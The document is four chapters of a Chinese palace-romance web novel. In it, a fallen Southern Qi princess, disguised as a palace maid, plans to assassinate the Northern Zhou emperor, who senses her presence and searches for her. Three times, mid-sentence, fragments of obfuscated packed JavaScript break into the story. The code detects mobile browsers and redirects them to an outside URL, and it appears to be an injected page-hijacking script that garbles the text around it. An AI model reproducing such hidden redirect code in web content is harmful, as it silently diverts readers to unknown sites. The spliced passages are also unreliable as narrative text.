《朕的爱妃总想拔剑》 1. 第 1 章 夜已过半,建业城中依旧灯红酒绿。 一驾华丽的马车疾行而过,划破微醺的夜风。 谁人不知,此乃南齐最为尊贵的悟真公主的车驾,并无人敢阻拦。 只是偶然间帘随风动,露出车中景象,有一青年正襟危坐,其身姿挺拔,却以一副银色假面遮住了俊秀容颜。 车外看不见的帘下,有一少女正被他抱在怀中,双颊的粉色令其姿容愈发醉人,但蹙起的秀眉却告诉他,她分明很不舒服。 “再忍忍,马上就到了。” 青年轻声安慰。 然眼看着,少女双颊的粉色还在加深,身体也越来越热。 等终于到达公主府时,她已经软得无法走路。 只能由他抱起,急匆匆踏入内殿。 正待传召府医,却被她拦住—— “不,这是最厉害的药……府医也没有办法……” “不要叫他们知道……” 她抱住他的双肩,不肯松手。 并于理智与本能的斗争中,艰难的说出了那句话—— “帮我……” 他垂目看她,眸中幽深的冷静之下,是看不见的挣扎。 “殿下府上还有那么多美男,为何不叫他们?” 药力越来越强,她的语声也愈发艰难,“你与他们不同……” “有何不同?” 他似乎在故意考验她的意志力。 却见她艰难起身,撑在他的胸前,“我……喜欢你。” 而后摘去了他的假面,将唇覆在他的唇上。 柔软的,颤抖的吻。 啪的一声,有什么断了。 他将她抱住,回吻了过去。 …… ~~ 四年后,上京。 立春虽过,天气还未暖和起来,新拔上来的井水依然有些刺骨。 尤其对于自小锦衣玉食的明熙而言。 但身为一名浣衣局的宫女,她并不能露出异样,仍努力忍着凉意,搓着盆里的衣裳。 “都麻利着点!晌午之前必须洗完这批衣裳,干不完不许吃早饭,午后还要再加分量!” 此时天光尚未大亮,这院中已经忙碌了小半个时辰,管事太监抱着拂尘在院中巡逻,时不时还要抽打哪个手慢的一下,满院不闻人语,只听一片捣衣声。 这北周境内处处严苛,她身为敌国公主,能混入这宫廷已是不易,只能姑且忍下眼前之苦,尽快寻到机会完成大事才成。 眼看又是一个时辰过去,早饭终于送了来,此时早上的活计已经做得差不多,那管事的常太监一声令下,众人纷纷奔向盛饭的大木桶。 须知那不过是这宫中各处的残羹剩饭罢了,明熙嫌恶心,只从一边的筐中拿了块黑色的杂粮饼了事。 正欲找处清净地方歇一歇,余光却瞥见院外有一矮矮瘦瘦的宦官走来。 她便顿住了脚步,趁人不注意,去了院外的无人处。 “姑娘……” 来的是赵怀,自幼看着她长大,原本是她南齐公主府的近侍。 ——半年前,这北周的铁骑攻破了她们南齐的国都建业,皇兄身死,皇嫂及年幼的侄子南逃,家国一夕破灭。 旧臣们或跟着侄子南逃,或各自隐匿,只有她潜入了这北周皇庭,要办一件大事。 此举十分凶险,她原不打算连累他人,怎奈赵怀几个放心不下,执意一道而来,要在暗中护着她。 此时瞧见她手里的黑色杂粮饼,赵怀着急又心疼道,“您何曾吃过这样的苦,咱还是走吧!” “不必再说了。” 明熙只道,“可是有什么消息?” 赵怀应是,这才说起正经事,“明日上元节,前朝与后宫都有大宴,典膳司人手不足,要从各处调人手。” 调人手? 明熙想了想,“他们从前摆宴也都调人手么?” 赵怀道,“今次太后做主,除过宗亲命妇,还邀请了不少上京的世家贵女。” 明熙了然。 ——这北周的皇帝是个怪人,明明登基已有三年,岁数也不小了,后宫却空无一人。 就算他不急,这北周太后也该急了,想来,这场宫宴应是另有深意。 “另外,眼下开了春,司苑局也缺人手,尚宫局还打算再从外头招人,” 赵怀又道,“尚宫局的人方才已经去到针工处了,估摸很快就要过来了。” 明熙点了点头,便要回去准备,却瞥见赵怀满脸的担忧,遂又顿步道,“要离开浣衣局,这是唯一的机会。” 她千里迢迢,可不是白给这些北周皇室洗衣裳来的。 …… 匆匆吃罢早饭,浣衣局重又投入忙碌之中。 明熙心间有了数,洗衣的同时留心院门处,一阵过后,果然见有尚宫局的人到。 那管事的常太监上前与对方交谈几句后,立时朝众人发话,“洗完了的到前面来一下,都快着点。” 明熙晓得,那必定是来挑人的,遂加快洗完剩余的几件衣裳,便要起身上前。 哪知就在此时,身旁又骤然高出一摞脏衣。 顺着看去,离她最近的那个叫翠娥的女人手还未收回去。 ——此女原在宫中别处当值,因犯事被罚在这浣衣局做苦力,仗着在宫里呆的时间长,与管事宦官熟一些,经常如此欺负别人。 但不巧,明熙不是别人,立时将那堆衣裳又给丢了回去。 那翠娥一愣,“你做什么?” 明熙只淡声道,“你的衣裳掉了,给你拿回来啊。” 那人竟像听到了不得了的话般,立时叉起腰来哼道,“小贱蹄子,敢跟我对着干?” 明熙都懒得看她,只抬步要往门口去。 却见那翠娥朝门口喊道,“常公公,这小丫头偷奸耍滑!” 就见那常太监立时捧着拂尘走了过来,一脸不耐烦道,“吵什么?” “启禀公公,还不是那个叫念贞的丫头……” 照惯例,那翠娥又要来个栽赃并恶人先告状。 然明熙没叫她说完,指尖悄然发力,一颗小石子立时神不知鬼不觉的飞了出去。 却听“啊”的一声,翠娥腿脚吃痛,忽的往前一扑,正好将走到跟前的常太监推到了一只装满水的大木盆中。 木盆之大,足可以装得下常太监一整个肥胖的身躯。 动静之响,也足足令整个院子都震了一震。 “常公公您没事吧?这大冷天的着凉可就不好了!” 就在众人呆成一片之际,明熙又赶紧上前将那太监扶了起来,还不忘随手从地上拿起一件脏衣裳给他擦满脸的水。 口中又道,“翠娥姐姐也是,想叫人替你洗衣裳就直说,怎么能把常公公给推到呢?摔到他老人家可怎么是好?” 啧,这太监本来就胖,衣裳又穿的厚,此时又吸满了水,可着实费了她不少力气。 “你,你……我,我……” 那翠娥又惊又吓,已是语无伦次,“常公公我我不是有意的……” 只可惜那常太监气得根本不听她解释,只扬起湿哒哒的拂尘,对她连抽带骂道,“给我滚回去好好洗衣裳,还有谁的没洗完一并给洗了,洗不完今日不准吃饭,更不准睡觉!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486548|170076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >说着又吩咐余下众人,“都给我去院门处等着!” 便哆嗦着先回去换衣裳了。 明熙便与其他人一道去了院门外。 归功于赵怀的提前报信,她已经趁吃饭时提前换了衣裳,加之本就生得好看,腰背也格外直,几位司簿司记第一眼便选中了她。 确定她身家清白,并非犯事被贬后,立时叫她去了典膳司。 …… 历经半日的教习,第二日日头高升之际,御膳房里的佳肴一道道出了锅,明熙也随众人上了场。 午宴设在柔仪殿中。 明熙借着传菜的空当悄悄打量,但见大殿里约有百十来人。 北周的太后坐在上首,其左右分别有四个太妃,都是北周先帝的遗孀。 其下,是王妃公主,再往下,便是这北周世家高门的女们。 当然,如她这般临时调来的人手,自是到不了太后等人的跟前,她负责上菜的是排在大殿后排的两名年轻贵女的桌子。 由她们言语可知,一个是这北周定远将军府的秦二姑娘,另一个是酉阳侯府上的何三姑娘。 此时,这二人正掩唇谈笑,俨然一对要好的挚友。 而明熙正端着才从膳房送来的汤盅,要为二人上菜。 到了桌前,她脚步将停,弯腰要将汤盅置于桌上。 哪知就在此时,那桌下忽然伸出一只脚,将她一绊。 眼看着,汤盅就要向一旁歪斜,令里头的热汤全洒在那定远将军府秦二姑娘的身上。 对于自幼在宫中长大的明熙来说,这些伎俩着实太过寻常。 她立时将重力放在另一条腿上,又用手快速拖住汤盅的底部,将其放到了桌上。 一切安稳无虞,热汤一滴都未溅出。 那伸脚的酉阳侯府何三姑娘略带惊讶的看了她一眼。 明熙倒是很想亲切问候一下此女家中长辈,并顺便提醒她,今日的妆容其实十分失败,那并蒂莲的花钿显得她的额头愈发宽阔,唇脂也涂的太厚了些,仿佛一只倒过来的葫芦生了张血盆大口,实在滑稽。 只可惜,这里不是她的建业。 她只能规规矩矩的垂目,对那两人道了声,“请二位慢用。” 便退去了一旁。 不远处,恰巧有尚宫局的掌事胡尚宫经过,将此幕看在眼中,暗暗将明熙打量了一番,才去到别处。 …… 宴会持续了两个时辰,待到太后离席,其余宾客们也都纷纷退了场,宫人们则上前收拾碗碟。 明熙特意留到了最后。 经过昨日与今早的观察,她发现这宫中不止人手不太足,奇花异木也很是稀缺。 譬如这殿中有几盆单瓣茶花,竟还是今早从太后的寿安宫搬来的。 等会定然还要搬回去。 果然,没过多久,便见那位胡尚宫在招呼人手,“你们几个,过来一下。” 她忙迎上前去,只见对方指着那几盆花道,“这些花原是从寿安宫搬出来的,你们随我搬回去吧。” 明熙应是,便抱起其中一株跟着对方走。 出了殿门,绕过太液池,再穿过牡丹园,走过一阵甬道,寿安宫终于出现在了眼前。 朱红色垂花门,上饰金色琉璃瓦,门外分立着两名宦官,肃穆得一如整个北周。 入这萧氏皇庭半年,她终于有机会踏入一处至关紧要之所了。 “太后正在休息,切勿喧哗惊扰。” 胡尚宫回头嘱咐了一句,又带着几人迈过垂花门,入了院中。 哪知未等几人将花放下,却听门外响起一声通传,“陛下驾到!” 2. 第 2 章 陛下? 那狗贼萧元彻? 明熙心间一顿,却见周遭众人已经纷纷跪地。 她只好也跟着跪下,如旁人一般,额头几乎要触及地面。 少倾,便听一阵脚步声临近。 从寿安宫的垂花门到殿前台阶,约有三十丈的距离。 那人的脚步很快便经过她的面前,身后还跟着几名宦官。 明熙悄悄挪眼,只能瞧见那绣着龙纹的袍角登上正殿前的台阶。 又听殿中响起一片行礼声。 “参见陛下。” 接着,便有一句“平身”入了耳。 那声音清冽中带着浑厚,能听出对方内力不俗。 且从方才的脚步声判断,他身量应是不低。 再向院外看去,亦能瞧见有约莫五六名精干侍卫。 她当然知道,此时不可能动手,只是终于见到这狗皇帝,心间难免有些起伏。 明熙努力压了又压,才没叫神色露出异样。 眼看着正殿的帘子被放下,她也随众人立起身来, 又见胡尚宫吩咐她们,“将花摆去台阶上便好。” 因那人在此,声音都压低了许多。 明熙便应是,上前摆花。 等摆好,她忽然开口道,“禀尚宫,这花鹤翎不耐寒,待日头偏西就需搬回室内。” 这叫胡尚宫目中露出意外,特意看向她道,“你怎么知道这株叫花鹤翎?” 明熙道,“小的家中是花匠,自小见爹娘养花,略知些皮毛。” 这原是当初为了入这宫廷伪造的身份,此时终于派上用场了。 ——这几盆品相称不上顶级的茶花都能如此被珍视,足见这北国的司苑局不过尔尔。 尤其她们还缺人。 就见胡尚宫又将她打量一遍,道,“你叫什么名字,在哪处当差?” 明熙又答,“小的叫许念贞,是从浣衣局调来的。” 对方又看向她的手,道,“方才看你抱住那汤盅,手可有烫着?” 明熙只道,“多谢大人关怀。方才是小的不小心,险些出大错,手并没有大碍。” 胡尚宫目中露出满意,又道,“等会儿我自会嘱咐人挪花,你先退下吧。” 明熙应是,便与另几人一道往外走了。 这院落广阔,又有厚重殿门阻隔,方才几人刻意压低的声响原本不会扰到殿中之人。 偏偏有人天生耳力过人。 正与太后说话的萧元彻不由一怔。 他怎么,似乎听到了她的声音? “过了今日年就算过完了,陛下又要整日忙碌了。” 太后的声音又响起,将他的神思拉回眼前。 “社稷重任与肩,此乃朕之己任,只是唯恐不能时常来陪伴母后。” “哀家倒是没关系。” 太后又道,“只是担心陛下为国操劳,顾不上龙体。倘若有人在旁嘘寒问暖,哀家也多少能放些心。” “对了,哀家瞧着今日有几位姑娘,品貌都还不错……” “劳母后费心了。” 萧元彻又道,“眼下南征大军尚未回朝,春闱也即将开始,前朝尚有诸多事要忙,朕亦会注意身体,不叫母后担心。” 太后叹了口气,“事情总是忙不完的,但陛下自己的终身大事总也不能不顾。实在不成,可由哀家为陛下操办,哀家定会为陛下挑选那贤淑体贴之人。” “那惠王比陛下还小两岁,如今都已经有两儿了。” 今日那淑太妃又在她面前炫耀那两个孙儿,着实气人。 自古皇嗣都是大事,后宫空悬,谁知朝中民间又会怎么想?他自是听不见不理会,她这个当娘的又如何能坐得住? 难为当娘的好一番苦口婆心,哪知话音落下,那犟种却依然以一句,“此事朕自有打算,母后就不必操心了。”来回绝。 而后又立起身来道,“前朝还有事,孩儿就不耽误母后歇息了。” 便要告辞。 太后一噎,也只能道,“陛下记得按时用膳,晚上早些歇息。” 便目送他出了殿门。 然待到了院中,那人却又顿住了脚步,开口道,“方才有人来过吗?” 正在抱厦前值守的胡尚宫愣了愣,忙道,“启禀陛下,方才奴婢带人将今早摆去柔仪殿的几盆花送了回来,除此之外,并无他人。” 花? 萧元彻抬眼,却见抱厦前确实有几盆花。 他颔了颔首,便继续往外走了。 也是,这是他的宫廷,距建业千里,她又怎么会在此? 院外龙辇起行,胡尚宫这才也随众人立起了身来,却听身后的殿中传来太后的叹气声。 “这样下去,哀家不知何时才能抱上孙儿。” …… 一路回到乾明宫,见过等候的大臣后,萧元彻将锦衣卫指挥使卫谨召至面前。 “可有什么新消息?” 卫谨立时道,“启禀陛下,现在已能确定,逃往豫章的只有南齐皇后与太子,并无长公主。建业及附近二十余郡县都已经排查,亦无长公主的影踪。” 话到此,君王眉间已然凝起。 别人不知,卫谨却是知道的。 自打王师踏入南齐,今上便一直派人找寻那魏氏长公主的影踪,然而如今已是大半年过去,却一无所获。 ——周齐两国乃世仇,从前那南齐强盛,他们北周曾备受欺辱,甚至连今上也曾被迫在那里当过质子。 所幸今上英明神武,四年前趁南齐宣帝殡天之际,及时脱离险境,后承继大周社稷,励精图治,仅用三年便令国力迅速增强。 而那南齐皇室奢靡,又有外戚祸国,近年民怨四起,战事不断,早已腐朽不堪,就在去年春末,那南魏诏帝忽然驾崩,未等新帝继位,又有叛军祸乱,今上便一举发兵,直破南国都城。 如今那南齐皇后太子已撤退至豫章,长公主魏明熙却不知所踪。 长公主是南朝宣帝最疼爱的女儿,诏帝唯一的妹妹,身份尊贵,又以美貌闻名。 自古乱世之中,美人的下场都不会多好…… 他便又道,“自南齐诏帝驾崩,其境内暴乱四起,诸多叛党烧杀抢掠,或许……长公主已经不在……” “她不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486549|170076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死。” 话未说完,却听君王坚定打断。 卫谨顿了顿,只好又试着道,“近三年来,南齐长公主已经极少在建业露面,或许早已改换身份隐匿,不如命南下大军协同,在南齐境内全面排查。” “不必。” 却见君王又道,“继续暗中找寻就是,务必传话下去,若发现她的踪影,千万不要伤害。” 卫谨一愣,只好又应了声是。 ……君王毕竟血气方刚,对美人动了凡心,也乃人之常情。 …… 出了寿安宫,不过一盏茶的功夫,明熙又回到了浣衣局。 才踏进门,却听满是阴阳怪气的一声“吆”迎了上来,“出去一趟,也没攀上个高枝,这就又回来了?” 那老鸹似的声音不是别人,正是昨儿才被罚着洗了一整日衣裳的翠娥。 这个时辰,大多数人都已经洗完了衣裳,就她还挽着衣袖,显然还没干完活。 明熙笑了一下,“你精神头真好,昨日洗了那么多衣裳,今日就跟没事人似的,不知你今日又洗了几件?” 闻言,院中众人被逗得直笑,只有翠娥绿着脸哼道,“小蹄子甭得意,今儿你的衣裳也得照洗!这个时辰才回来,保管你洗到半夜!” 明熙没再理她,径直往值房走,打算先将衣裳换下。 ——浣衣局每天要清洗几百上千件衣裳,活计都是众人平摊的,她既然回来,就必须得干活。 毕竟少一个人干,别人的活就要增加,所以就算不是这翠娥催,别人也会催。 这里的人们干着宫中最苦的差事,吃着最差的伙食,就犹如饿狼一般,没有任何情意可讲。 当然,明熙也不会一直在此。 就在她换完衣裳,正要去打水之际,却见院门外又来了两个宫女,朝院中问道,“方才是哪个去的寿安宫?” 寿安宫? 众人你瞧瞧我,我瞧瞧你,皆是满脸疑惑。 她们这里的人,哪能去得了寿安宫? 哪知正在此时,却见明熙走上前去应道,“是小的。” 两名宫女将她打量一遍,又问,“是你随胡尚宫搬的花?” 明熙又点了点头。 那二人便道,“奉胡尚宫的命,叫你先去司苑局上值,随我们走吧。” 什么? 众人又是一愣。 翠娥则开口问道,“这丫头才来没多久,为何要调她去司苑局?” 那二人只白了她一眼,“尚宫大人的命令为何要与你解释?” 而后又对明熙道,“还不快去收拾铺盖?” 明熙便应是,要往值房走,却见那管事太监也匆忙跑出来对那两人道,“二位姐姐这是哪儿话说的?我们这浣衣局也缺人呢!” 只听那二人又道,“尚宫大人说了,眼下开春在即,园子里活计多,一月之后又是花朝,有可用的人,要先紧着司苑局使。” “等过完花朝,再给你还回来便是。” 常太监这才没说什么。 明熙则加快脚步进了值房,将衣裳被褥快速一卷。 她可不会再回来。 3. 第 3 章 出了浣衣局,没用多少功夫,便到了司苑局。 两名宫女将明熙领到一个约么三十来岁,细长眼的女子面前,道,“开春后宫中花事繁忙,胡尚宫特为司苑局调拨了人手,凭掌事差遣。” 语罢又对明熙道,“此乃司苑局徐掌事,今后听她的吩咐便是。” 明熙应是,低头送二人离开,又向那徐掌事行了个礼。 徐掌事将她上下打量一番,问道,“从前在哪里当差的?” 明熙如实道,“浣衣局。” “浣衣局?” 对方皱眉,“胡尚宫怎的把个浣衣局的调来了?” 明熙便道,“或许是因为小的父母是花农,从前在家中养过花。” 那徐掌事便又问,“你家在哪儿?” 明熙道,“在洛州河阴县。” “河阴县?” 徐掌事话中带着满满的不屑,“我还当什么地方,听都没听过。” 说着也不再问她什么,只吩咐一旁一个小宫女道,“芳蕊,带她去库房吧。” 又对明熙道,“时下没有多余的值房,你就先在库房搭个铺吧,先将那些旧花盆都清洗出来,再去园子里松土。” 明熙应是,跟着叫芳蕊的小宫女往库房走。 没走几步,却见院中有人正在摆弄两盆十八学士。 此也是茶花的一种,比起先前寿安宫里的那几盆单瓣的花,足能称得上名品。 只是看起来,那几人并不懂此花的养法,单是浇水便错了,再看那花盆中的土,更是不对。 她不免顿下脚步来,道,“那个……” 芳蕊在旁好心解释,“那是去年南诏使臣敬献给太后娘娘的珍品,前几日才从寿安宫撤下来……” “磨蹭什么?” 身后忽的响起徐掌事的声音,“还不快去干活,再磨蹭原回浣衣局去!” 芳蕊吓了一跳,只得赶紧闭嘴,继续领着她往前走了。 明熙也将方才要说的话咽回了肚子里。 可怜这两株十八学士,要受些罪了。 ………… 两日后,赵怀在御花园见到明熙之时,她正拿着一把锄头费力的给几株海棠松土。 “姑……念贞,” 赵怀瞧了瞧左右,立时凑上去道,“我今早才知道,您怎么又去司苑局了?” 明熙边刨地边道,“司苑局吃得饱穿得暖,可不比浣衣局强么。” 赵怀却是一脸着急,“可这里的活也不轻巧啊,您看您,从前何时受过这累?” 说着还想抢过锄头替她干。 所幸明熙冷静的制止了他,“你当这里是建业?” 她很清楚自己是干什么来的,且相较于用冷水洗别人的脏衣裳,她倒也的确更擅长摆弄花草。 赵怀一愣,这才打消了念头。 却听她又道,“这里过花朝很隆重么?” 赵怀忙点头,“上京的花朝比建业晚三日,每年二月十五,他们会在御花园设祭台,摆宴,邀命妇赏花。” 明熙点了点头,二月十五,还有一个月的时间。 足够了。 她又道,“你这两天想法帮我弄些大豆,或是果皮,鱼骨之类。” 赵怀一愣,忙问,“您是要做什么?” 明熙只笑了笑,“自然是有大用。” 说起来,这两日的库房没白住,倒叫她发现了不少宝贝。 赵怀只好应是,还想再问问她,却听不远处有人经过,只好先与她作别,去寻东西了。 …… 进了二月,日头渐暖,纵使是北国,也能渐渐脱下厚衣了。 一年一度的花朝节将至,司苑局到了最忙的时候,众人早起都得先去御花园做过活,才能回到值房吃早饭。 没想到这日才回来,竟赶上一场热闹—— “这几株可是太后娘娘最喜欢的花,去年大老远运到京城都好好的,你们才养了不过个把月,怎么就养成这般了?” 御花房里传来一阵阵斥责声,却并非出自徐掌事之口。 有胆大的偷偷去瞧,才发现是寿安宫的大宫女碧书正在向她们的徐掌事发难。 再一瞧,只见徐掌事的面前摆了几个十分精致的青釉花盆,里头的植株却俱是无精打采,有的甚至都没剩几片叶子了。 “姑姑有所不知,” 徐掌事努力辩解道,“并非我们没有尽力,实在是京城与南诏的气候相差太多,这花又娇嫩些,不适应也是难免的。” 碧书道,“这些我管不着,我只问你,四日后便是花朝节,太常寺早已四处发下了帖子,届时京城的诸位王妃夫人们便要入宫赏花了,这几株可是她们最想看的,这要怎么办?” “这……” 徐掌事哑口。 “我也不管了,索性就照你的话去回,倘若太后怪罪,你们司苑局自个儿擎着便是。” 眼看碧书撂下一句狠话便要转身往外走,这可吓坏了众人。 要知道,虽然这御花房他们连进都进不去,但碧书眼下说的可是“你们司苑局”,太后若真怪罪下来,他们岂不无辜? “姑姑留步。” 正在这时,却见一个身影进了房中,“小的这里还有几盆茶花,不知能否入得了太后娘娘的眼。” 那不是别人,正是才来一个月的明熙。 众人看去,立时都被她手中捧着的花吸引了目光, 瞧那饱满又结实的花苞,柔美的花枝与滴翠的叶片,不正是徐掌事面前那盆萎靡不振的十八学士? 哦不,从花苞中透出颜色看来,白中还透着微微的碧色,犹如美玉一般莹润剔透,似乎又比纯白的十八学士还要好看些。 碧书也早已目不转睛,将花儿瞧了又瞧,满是惊艳道,“这个颜色的茶花我还是头一次见,这花叫什么名字?” 明熙道,“禀姑姑,此花名叫碧玉芙蓉,与十八学士同宗,却比十八学士还要少见,听说市面上的价格也更贵些。” 物以稀为贵的道理谁都懂,碧书点了点头,忙又问道,“这花是哪儿来的?怎么从前没见过?” “听闻这是前年南诏的贡品之一,不过当时因在路上颠簸受寒,有些萎靡,便一直在库房中养着,小的从前养过茶花,便试着救了救,托太后娘娘的福,竟将它救活了,这花花期长,也眼看就要开了,若在花朝宴展出,应该正合适。” 这话一出,碧书又将她打量一遍,道,“你是新来的?从前怎么没见过你?” 明熙道,“小的原本在浣衣局,承蒙胡尚宫开恩,上月才调来司苑局。” “原来如此。” 碧书颔了颔首,余光扫过旁边的徐掌事。 呵,堂堂司苑局掌事,竟还没个从别处调来的新人会养花。 嘴上却还要给她留些面子,道,“徐掌事竟还深藏不露,方才可是险些急坏我。不知除过这盆,可还有别的吗?” 这个…… 徐掌事依然无法回答,只好看向明熙。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486550|170076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >却见明熙道,“库房里还有几盆,若姑姑不嫌弃,可以移步前去,看能否入得了眼。” “带路便是。” 碧书立时抬起脚来。 明熙应是,便在前引路,那徐掌事一愣,忙也跟了上去。 身后还又跟了许多好奇的闲杂人等。 等到了地方,才推开门,众人无不长大了嘴巴。 司苑局有两个库房,明熙住的那个本是存放废品的,平素根本没什么人来,此时众人才发现,原本落满灰尘的库房已经大变样,南窗下摆了大大小小二十余盆花,除过先前年节后被各宫丢弃的春梅,海棠等等,竟还有名贵的茶花。 什么赤红的,泛金的,镶紫的,竟是叫都叫不上名。 除此之外,竟还有两株兰花,那姿态与宫中常见的不同,一瞧便知绝非凡品。 最要紧的是,这些花此时都缀满了花苞,眼看就要怒放了。 碧书欣喜道,“太后娘娘最喜欢的就是茶花与兰花,将这些摆去寿安宫,娘娘一定会高兴!看样子,应该这几日便会开了吧?” 哪知明熙道,“应该如此,不过……这几株花时下需仔细呵护,每日喷淋与追肥必不可少,否则,也难说。” “这有何难?” 碧书立时又道,“待我向胡尚宫禀报一声,就由你每日来寿安宫给这这些花浇水上肥,一切当以花为重,切不能出岔子。” 竟是丝毫没问那徐掌事的意思。 见此情景,徐掌事也只好对明熙道,“碧书姑娘说的是,就这么办吧,你可务必要小心伺候,千万不要出岔子才是。” 明熙应了声是。 目送碧书领着人将几盆花搬走后,第二日上午,她便去了寿安宫。 据出发前徐掌事对她的特别叮嘱,这个时辰,太后要么在与太妃们聊天,要么便在佛堂焚香,千万不可惊扰,只轻手轻脚的浇过花便得赶紧离开。 明熙到达之时,却见东侧的佛堂闭着门,正殿的门是开着的,还有几名宫人正捧着茶盏点心鱼贯而入。 看来,太后正与哪位太妃聊天。 环顾院中,昨日搬来的花正在抱厦前沐浴阳光,精神都还不错。她便用细密的花浇将花逐一淋过一遍,又拿出特制养料,打算擦拭叶片。 正在此时,胡尚宫打门外进来了。 说起来,这位可是她的“贵人”,日后也还需多多仰仗,她便停了动作,朝对方行了个礼。 胡尚宫在她面前停步,含笑道,“我昨日已经听碧书说了你的事,你才去司苑局不到一月,便能将这些花养的这样好,我果然没有看错。” 明熙垂首谦虚,“这都是托尚宫大人的福,实则也是这些花本就品相好,尚宫谬赞了。” 如前次一样,二人都刻意压着声音,这诺大的庭院,照理来说,并不会惊扰殿中人。 然而话音才落,未等胡尚宫继续说什么,却从正殿中走出一人。 一身玄中泛金的龙纹袍,发束金丝冠,身高八尺,气宇轩扬。 那根本不是什么太妃, 分明是这北周的皇帝,萧元彻。 明熙一愣。 而身旁的胡尚宫已经跪地行礼,“奴婢参见陛下。” 说着又用余光瞥向她,示意她也赶快行礼。 明熙着实没有料到,今日这人也在此。 所幸短暂意外过后,她也已经反应过来,便如胡尚宫一样,先跪地朝对方行了个礼。 却不知此时那人的目光,全在她身上。 4. 第 4 章 萧元彻原本以为,上回是偶然出现的错觉。 直到方才在殿中与母后说话的间隙,再一次听到了那个声音。 为了验证心间那一丝几乎不可能的猜测,他甚至不顾殿中众人的诧异,立时起身而出,便见到了眼前的人。 就是她,方才在与胡尚宫说话。 那声音,竟与他一直在找的人如出一辙。 然而此时对方正向他跪地垂首,叫他无法看清面容。 萧元彻道了声,“平身。” “谢陛下。” 却见那女子随胡尚宫一道立了起来。 同样的身量。 同样精致的下巴与鼻尖。 还有同样的唇…… 萧元彻心间几乎一滞。 但须知那女子正低着头,叫他依然看不见眉眼。 想了想,他又假意去打量一旁的花,道,“这些都是什么花?” 这次意外的换成了明熙。 ——这狗皇帝竟然就如此停在她的近前,还说话了? 而且他竟未带人手,身后只有一名胖子宦官而已? 要知道,这可是她入这北周皇宫以来,头一次绝佳的机会,若她此时抽出软剑,胜算应会很大…… 但只可惜,她此时并未带软剑。 这寿安宫毕竟是北周太后的起居之所,她一个借调到司苑局的宫女,今日头一次来此,自然要被好生盘查一番。 加之她也还并不知对方武力究竟如何,如若贸然动手,失败事小,打草惊蛇就太可惜了! 而就在她意外的当口,一旁的胡尚宫朝她投来了目光,示意她来回话。 也是,这些花毕竟是她养的,胡尚宫恐怕也记不住花名。 她于是先敛起心神,开口道,“回陛下,这前六盆花为茶花,分别叫碧玉芙蓉,丹霞仙子,赤金花冠及紫袍玉带。” “后头的两株是兰花,一株叫蝶衣九晚,另一株名曰素冠荷鼎。” 话音落下,周遭陷入静谧。 谁也不知,此时君王的心间正掀起多大的波澜。 这个声音,他的确没有听错! 若这世上没有一模一样的两个人,那此时站在他面前的,就该是她了。 可她为何会在此处? 还作如此打扮? “怎么?这花好看的,竟把陛下也引得坐不住了?” 却见太后也从殿中迈了出来。 萧元彻立时回了神。 对,如若真的是她,此时绝不能叫他人知道,包括母后。 “方才在殿中直觉花香袭人,便忍不住出来瞧瞧。” 他收回目光,假意又去打量那几盆花,“前几日来,似乎还未看到这些花。” 随身宦官高寿忙也跟着道,“要不怎么说太后娘娘福泽深厚,这寿安宫的花都比别处好,这几种花,奴才竟是头一次见。” 太后被逗笑,道,“这几盆还不都是往年南诏使臣送来的,只可惜天高路远,叫它们颠簸又受寒,从未开过花。昨儿她们才从司苑局给搬过来,原本哀家都快忘了,没想到这司苑局里有会养的,叫这些花开得这么好,着实叫人惊喜。” 语毕,却又看向了明熙,道,“这丫头是哪儿的?从前怎么没见过?” 胡尚宫忙道,“启禀娘娘,她是司苑局的人,这几株花便是她养的。” 太后目露惊讶,“看不出来年纪轻轻,竟然还有如此手艺?从前怎么没听说司苑局有这样的高手?” 胡尚宫又道,“娘娘有所不知,她先前本在浣衣局当差,上回临时调去侍宴,奴婢见她侍弄花木甚是仔细,一问才知,她从前家里是养花的。想着开春后司苑局花事繁杂,她或许能帮上忙,便将她调去了司苑局一试。” 话音落下,萧元彻心间又是一定。 是了,他记得上回听到这个声音,便是在上元宴之后。 看来上次也是她。 但她先前竟然还在浣衣局? 她来到宫中究竟有多久了? “果然是个人才。” 太后又暗暗将明熙打量一番,又道,“那今日来此又是做什么的?” 胡尚宫便又道,“启禀娘娘,这几盆花眼下正在盛放期,需每日浇水,定期上肥,为确保能在花朝节时顺利绽放,司苑局管事特命她前来看护浇水。” 太后颔了颔首,没再说什么。 胡管事察言观色,忙对明熙道,“水若是浇完了,就先回去吧。” 明熙应是,便向那母子二人行了礼,往外走去。 却并不知身后,那人又忍不住将目光投向了她的身上,直到目送她走出寿安宫的垂花门,再也瞧不见了。 太后不动声色的看在眼中,忽然开口对身旁的宫女道,“还不去茶房瞧瞧,那核桃酥做好了没?等陛下赏过花,该饿了。” 萧元彻回了神,道,“不必了,前朝还有事,朕该回去了,母后先歇着。” 